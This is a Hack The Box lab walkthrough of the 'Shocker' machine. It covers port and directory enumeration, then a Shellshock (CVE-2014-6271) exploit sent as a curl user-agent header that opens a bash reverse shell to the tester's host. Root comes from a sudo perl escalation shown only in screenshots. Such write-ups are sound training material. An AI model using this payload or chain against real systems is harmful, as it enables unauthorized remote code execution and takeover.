> For the complete documentation index, see [llms.txt](https://4st1nus.gitbook.io/hackthebox/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4st1nus.gitbook.io/hackthebox/htb/hack-the-box-shocker-walkthrough-without-metasploit.md).

# Hack The Box - Shocker Walkthrough without Metasploit

Shocker: a Linux box rated as easy. Using different enumeration techniques and a common bash vulnerability we will be able to enter, there we will escalate privileges abusing some privileged binary.

![Shocker](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRUieGZocBPynI-WY8w%2Fimage.png?alt=media\&token=6a9b2d2f-d9dc-4e67-b069-9b4f9bd69979)

## Enumeration

First we will run nmap (or in our case nmapAutomator.sh a script to make some basic enumeration on the target).  We can see two ports open 80 (Http) and 2222 (SSH).

{% embed url="<https://github.com/21y4d/nmapAutomator>" %}

```
nmapAutomator.sh 10.10.10.56 All

                Or
                
nmap -sC -sV 10.10.10.56
```

![Nmap Scan](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRV72cjy1IpSNSVJ3rS%2Fimage.png?alt=media\&token=d9675d71-6ae9-41a3-851d-88908a604d7e)

Since we have port 80 (Http) open we are going to run Gobuster:

{% embed url="<https://github.com/OJ/gobuster>" %}

We ran gobuster with the options dir -u (url) -w (wordlist) -t (threads), since we are on a pentesting platform and not in the real world we can use 40 threads.

```
gobuster dir -u 10.10.10.56 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 40
```

![Gobuster first try](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRUp5Gr-7iKweMWJzii%2Fimage.png?alt=media\&token=b3fe6d6f-4afe-44be-9f12-586f6d7e728c)

We tried another wordlist, this time we use the **big.txt** from */usr/share/dirb/wordlists* of our kali machine, here we found index.html and **/cgi-bin/**

![Gobuster cgi-bin found](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRV6bL4oyNkdbEwIbCa%2Fimage.png?alt=media\&token=7bf41aed-f621-4146-adeb-646f877cc741)

Since we found a cgi-bin folder we will ran Gobuster again, this time with new flags:

**-x** to indicate extensions to look for

**-e** to show full path

```
gobuster dir -u http://10.10.10.56:80/cgi-bin/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20 -x php,db,txt,html,sh -e
```

![Gobuster bash found](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRV6G6slHGsSoLeEf1u%2Fimage.png?alt=media\&token=e9eed8c4-e806-45a3-bdda-4239c99a3b4f)

This output is really interesting, there is a script file on cgi-bin, which means we can attempt a **ShellShock** attack.

## Exploitation

We are going to perform a **ShellShock** attack **CVE 2014-6271**, this is a Bash vulnerability that allows RCE (Remote Code Execution) without confirmation. Windows is completely safe from this vulnerability, but since a great percentage of internet is on Apache servers, and the majority of those run on Linux (just like our victim does)...

We send a series of random characters to confuse Bash: **(){ :; };**

Since Bash is confused and doesn't know what to do with those characters it will, by default, execute the code after them, so we will execute a bash reverse shell.

With that in mind we send a curl to our victim:

```
curl -H "user-agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/<our-ip>/port 0>&1'" http://10.10.10.56/cgi-bin/user.sh
```

![ShellShock CVE 2014-6271](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRV7aYGNM0hbjo_H-ac%2Fimage.png?alt=media\&token=6562903e-f2ef-44e5-a8d2-944d69f343a6)

![ShellShock](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRVAr3ors1owsbGcaU5%2Fimage.png?alt=media\&token=f4916a30-6e29-47de-8342-8c29c8cc741e)

### **Privilege Escalation**

Once we are inside we proceed to *enumerate again*, this time from within the box, our very first command gives us some great results, trying to see if we can run some commands with **sudo -l**

![Privilege Escalation](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRVCTzTg-mdZwVYfCUe%2Fimage.png?alt=media\&token=5c71285e-2734-4698-8763-ceec819cfbc2)

With this information we go to **GTFOBins**

{% embed url="<https://gtfobins.github.io/>" %}

And search for perl:

![GTFOBins Perl search](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRVFNBb8hGE8Zv4CMPf%2Fimage.png?alt=media\&token=359347f8-6125-487d-b3bc-1c2ccb850ddb)

Since we can run **/usr/bin/perl** as root with sudo:

![Perl Escalation](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRVGGBSka--6VpaAg7f%2Fimage.png?alt=media\&token=411987de-f01f-4516-b877-1b6395f61848)

## Pwnd

Since the box has Python3 we can spawn a tty shell with it:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

![Pwnd](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MRUiSTzQrggKcbZCc-U%2F-MRVIVHaDAZwS3wqCqFy%2Fimage.png?alt=media\&token=6a6c6a0b-afb5-46a0-861b-d4c892834bd4)